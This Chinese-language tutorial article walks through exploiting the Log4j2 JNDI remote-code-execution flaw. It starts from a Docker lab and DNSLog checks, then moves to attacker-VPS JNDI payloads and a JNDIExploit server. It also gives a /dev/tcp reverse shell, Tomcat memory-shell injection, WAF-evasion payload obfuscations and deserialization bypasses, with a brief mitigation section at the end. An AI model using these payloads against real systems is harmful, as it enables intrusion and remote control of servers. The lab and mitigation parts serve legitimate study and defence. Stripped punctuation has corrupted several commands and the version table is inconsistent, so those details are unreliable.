5分钟快速复现Log4j2 RCE漏洞:从DNSLog验证到反弹Shell完整流程

张开发
2026/4/12 12:31:54 15 分钟阅读

分享文章

5分钟快速复现Log4j2 RCE漏洞:从DNSLog验证到反弹Shell完整流程
Log4j2漏洞实战从原理到高级利用技巧漏洞背景与核心机制2021年底曝光的Log4j2远程代码执行漏洞堪称近年来影响范围最广的安全事件之一。这个编号为CVE-2021-44228的漏洞之所以危险关键在于它完美结合了三个要素广泛的应用基础、简单的触发条件和强大的利用效果。动态日志解析是Log4j2引以为傲的功能特性开发者可以通过${}语法在日志消息中嵌入变量和表达式。例如logger.info(User ${env:USER} accessed ${ctx:uri});这种设计本意是增强日志的灵活性和信息量但问题出在它支持的JNDI查找功能上。当遇到${jndi:ldap://example.com/obj}这样的表达式时Log4j2会尝试通过JNDI接口访问指定的LDAP服务并获取对象。环境准备与快速验证实验环境配置建议使用Docker快速搭建靶场环境避免污染本地系统docker pull vulfocus/log4j2-rce-2021-12-09 docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09验证环境是否正常运行curl http://localhost:8080 -vDNSLog验证技巧DNSLog是最安全可靠的初步验证方式推荐使用公开平台如ceye.io获取专属子域名xxxxxx.ceye.io构造测试Payload${jndi:ldap://${sys:java.version}.xxxxxx.ceye.io/a}观察DNS解析记录成功则显示Java版本信息关键点现代Java版本(≥8u191)默认关闭了远程类加载但DNS查询仍可进行这使DNSLog成为无害验证的首选方案。完整攻击链构建工具选择与配置主流利用工具对比工具名称支持协议内存马支持高版本JDK绕过JNDIExploitLDAP/RMI是部分marshalsecRMI否否rogue-jndiLDAP是是以JNDIExploit为例启动服务java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your_vps_ip -l 1389 -p 8081反弹Shell的多种姿势基础命令执行${jndi:ldap://your_vps_ip:1389/Basic/Command/Base64/[base64_cmd]}Base64编码技巧echo -n bash -i /dev/tcp/your_vps_ip/5555 01 | base64内存马注入适用于Web环境${jndi:ldap://your_vps_ip:1389/TomcatBypass/TomcatMemshell1}绕过防御的高级技巧WAF绕过手法大小写变异${jNdi:lDap://example.com}嵌套表达式${${::-j}${::-n}${::-d}${::-i}:ldap://example.com}环境变量混淆${${env:USER:-j}ndi:${env:USER:-l}dap://example.com}高版本JDK绕过对于JDK≥8u191可尝试本地类加载System.setProperty(com.sun.jndi.ldap.object.trustURLCodebase, true);序列化利用链${jndi:ldap://your_vps_ip:1389/Deserialization/CommonsCollectionsK1/Command/Base64/[base64_cmd]}防御方案深度分析临时缓解措施设置系统属性-Dlog4j2.formatMsgNoLookupstrue删除危险类zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class长期解决方案升级矩阵参考漏洞版本范围安全版本备注2.0-beta9 - 2.14.12.17.1完全移除JNDI功能2.15.0 - 2.16.02.16.0默认禁用JNDI实战经验分享在真实渗透测试中遇到过一个有趣的案例目标系统看似修补了Log4j2但实际上某个边缘服务仍在使用旧版本。通过以下方法成功识别版本指纹识别curl -s http://target/ | grep -i log4j.*version延迟检测技巧${jndi:dns://${date:yyyyMMdd}.xxxxxx.ceye.io}通过响应时间差异判断漏洞存在性另一个实用技巧是结合Burp Collaborator进行自动化检测可以批量扫描大量端点而无需人工查看DNS记录。

更多文章